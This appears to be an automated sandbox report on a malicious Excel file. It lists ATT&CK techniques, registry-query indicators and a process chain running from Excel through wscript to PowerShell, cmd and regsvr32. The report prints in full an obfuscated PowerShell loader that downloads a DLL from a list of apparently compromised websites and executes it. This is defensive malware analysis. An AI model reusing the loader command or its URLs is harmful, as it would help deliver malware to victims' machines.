b2ecf49f8361dc153ea556bfe60c7a2fc1cf4cb30cf54f31e8ea62fe7a1d77a0

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4072	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3276	powershell.exe
3276	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3276	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4072	EXCEL.EXE
4072	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4072	EXCEL.EXE
4072	EXCEL.EXE
4072	EXCEL.EXE
4072	EXCEL.EXE
4072	EXCEL.EXE
4072	EXCEL.EXE
4072	EXCEL.EXE
4072	EXCEL.EXE
4072	EXCEL.EXE
4072	EXCEL.EXE
4072	EXCEL.EXE
4072	EXCEL.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4072 wrote to memory of 1580	4072	EXCEL.EXE	85
PID 4072 wrote to memory of 1580	4072	EXCEL.EXE	85
PID 1580 wrote to memory of 3276	1580	wscript.exe	87
PID 1580 wrote to memory of 3276	1580	wscript.exe	87
PID 1580 wrote to memory of 4444	1580	wscript.exe	95
PID 1580 wrote to memory of 4444	1580	wscript.exe	95
PID 4444 wrote to memory of 4884	4444	cmd.exe	97
PID 4444 wrote to memory of 4884	4444	cmd.exe	97
PID 4444 wrote to memory of 4884	4444	cmd.exe	97

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b2ecf49f8361dc153ea556bfe60c7a2fc1cf4cb30cf54f31e8ea62fe7a1d77a0.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4072
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\etyockqw.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"https:dhjdhjwildmanwildfood.comdhjwp-admindhjwxyadXKXFedhjbouhttps:dhjdhjashven.co.ukdhjwp-includesdhjUwBairqGXVb11tCudhjbouhttps:dhjdhjaigenix.comartstudios.comdhjcgi-bindhjZZ8HCNr40Hdhjbouhttps:dhjdhjfastonlineearn.comdhjwp-contentdhjLdhjbouhttps:dhjdhjmbmscaffolding.co.ukdhjtestdhj3jdhjbouhttps:dhjdhjineslebuhan.comdhjwp-includesdhj7dLR8UB3RFfSHd4cZNdhjbouhttps:dhjdhjmccoygloballinks.comdhjcgi-bindhjHvZWLrLljiRj2ckdhjbouhttp:dhjdhjlonaomer.comdhjwp-contentdhj6Gdhjbouhttps:dhjdhjtainformado.com.brdhjwp-contentdhj0Ysotdhjbouhttps:dhjdhjnifdtb.indhjwp-contentdhj9uHo3GBgyIQdhjbouhttps:dhjdhjsdn3sajen.stormapp.indhjwp-admindhjXc6Zdhjbouhttps:dhjdhjnarsanat.comdhjbannerdhjTnIhzdhjbouhttps:dhjdhjvanessanascimento.com.brdhjauren-xboxdhjcDD2dfWdhjbouhttps:dhjdhjmedvital.com.brdhjarquivosdhjq6ZjbPPoR7ldhjbouhttps:dhjdhjmcjalandhar.indhj1950-killdhjBMoLHJM4gdhjbouhttps:dhjdhjnuranabd.comdhjwp-contentdhjBhYOZ2pJV5qdhjbouhttps:dhjdhjsdigitaltv.onlinedhjwp-admindhjrpRCArrXjpoUXodhjbouhttp:dhjdhjnews.leta.com.vndhj-dhjNQOY80odhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\irlkhkuw.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 32463){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3276
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - \??\c:\windows\syswow64\regsvr32.exe
      c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
      4⤵
      System Location Discovery: System Language Discovery
      PID:4884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

System Information Discovery

4

System Location Discovery

T1614

System Language Discovery